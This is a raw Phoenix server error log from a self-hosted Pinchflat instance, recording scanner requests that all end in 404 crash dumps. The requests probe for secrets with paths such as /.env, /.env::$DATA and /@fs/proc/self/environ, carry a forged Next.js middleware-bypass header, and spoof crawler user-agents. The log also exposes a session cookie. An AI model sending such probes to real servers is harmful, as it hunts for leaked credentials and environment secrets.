%{".svg?.wasm?init" => ""}, path_info: [""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{".svg?.wasm?init" => ""}, query_string: ".svg?.wasm?init", remote_ip: {172, 18, 0, 13}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (compatible; Google-Extended; +http://www.google.com/bot.html)"}, {"x-forwarded-for", "34.7.214.207"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-middleware-subrequest", "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware"}, {"x-nextjs-data", "1"}, {"x-real-ip", "34.7.214.207"} ], request_path: "/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNz61eAssxSYyjoAAIAD"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29732.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34190}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; Google-Extended; +http://www.google.com/bot.html)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: ".svg?.wasm?init", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET / (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29732.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34190}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; Google-Extended; +http://www.google.com/bot.html)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, (truncated) 16:49:08.378 [info] GET /@fs/proc/self/environ 16:49:08.378 [debug] QUERY OK source="settings" db=0.1ms idle=102.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:08.378 [debug] QUERY OK source="settings" db=0.0ms idle=102.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:08.378 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 16:49:08.378 [error] #PID<0.29735.0> running PinchflatWeb.Endpoint (connection #PID<0.29734.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /@fs/proc/self/environ?import&raw?? ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /@fs/proc/self/environ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29734.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/@fs/proc/self/environ", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34198}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "CCBot/2.0 (https://commoncrawl.org/faq/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "import&raw??", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.29735.0>, params: %{"import" => "", "raw??" => ""}, path_info: ["@fs", "proc", "self", "environ"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{"import" => "", "raw??" => ""}, query_string: "import&raw??", remote_ip: {172, 18, 0, 13}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "CCBot/2.0 (https://commoncrawl.org/faq/)"}, {"x-forwarded-for", "34.7.214.207"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-middleware-subrequest", "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware"}, {"x-nextjs-data", "1"}, {"x-real-ip", "34.7.214.207"} ], request_path: "/@fs/proc/self/environ", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNz61eXgXZI0LdUABwQB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29734.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/@fs/proc/self/environ", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34198}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "CCBot/2.0 (https://commoncrawl.org/faq/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "import&raw??", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /@fs/proc/self/environ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29734.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/@fs/proc/self/environ", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34198}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "CCBot/2.0 (https://commoncrawl.org/faq/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :un (truncated) 16:49:08.400 [info] GET /.env::$DATA 16:49:08.400 [debug] QUERY OK source="settings" db=0.0ms idle=123.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:08.400 [debug] QUERY OK source="settings" db=0.0ms idle=117.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:08.400 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 16:49:08.400 [error] #PID<0.29737.0> running PinchflatWeb.Endpoint (connection #PID<0.29736.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /.env::$DATA?raw ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET / (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29736.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env::$DATA", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34210}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Claude-SearchBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "raw", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.29737.0>, params: %{"raw" => ""}, path_info: [""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{"raw" => ""}, query_string: "raw", remote_ip: {172, 18, 0, 13}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Claude-SearchBot/1.0; +claudebot@anthropic.com)"}, {"x-forwarded-for", "34.7.214.207"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-middleware-subrequest", "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware"}, {"x-nextjs-data", "1"}, {"x-real-ip", "34.7.214.207"} ], request_path: "/.env::$DATA", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNz61ecyjj--WokABwQh"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29736.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env::$DATA", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34210}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Claude-SearchBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "raw", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET / (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29736.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env::$DATA", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34210}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Claude-SearchBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" (truncated) 16:49:08.424 [info] GET /.env.development::$DATA 16:49:08.424 [debug] QUERY OK source="settings" db=0.0ms idle=141.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:08.424 [debug] QUERY OK source="settings" db=0.0ms idle=45.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:08.424 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 16:49:08.424 [error] #PID<0.29739.0> running PinchflatWeb.Endpoint (connection #PID<0.29738.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /.env.development::$DATA?raw ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29738.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.development::$DATA", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34226}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; YouBot/1.0; +https://you.com/bot)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "raw", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.29739.0>, params: %{"raw" => ""}, path_info: [".env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{"raw" => ""}, query_string: "raw", remote_ip: {172, 18, 0, 13}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (compatible; YouBot/1.0; +https://you.com/bot)"}, {"x-forwarded-for", "34.7.214.207"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-middleware-subrequest", "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware"}, {"x-nextjs-data", "1"}, {"x-real-ip", "34.7.214.207"} ], request_path: "/.env.development::$DATA", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNz61eibXvFJdjoABwRB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29738.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.development::$DATA", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34226}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; YouBot/1.0; +https://you.com/bot)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "raw", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29738.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.development::$DATA", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 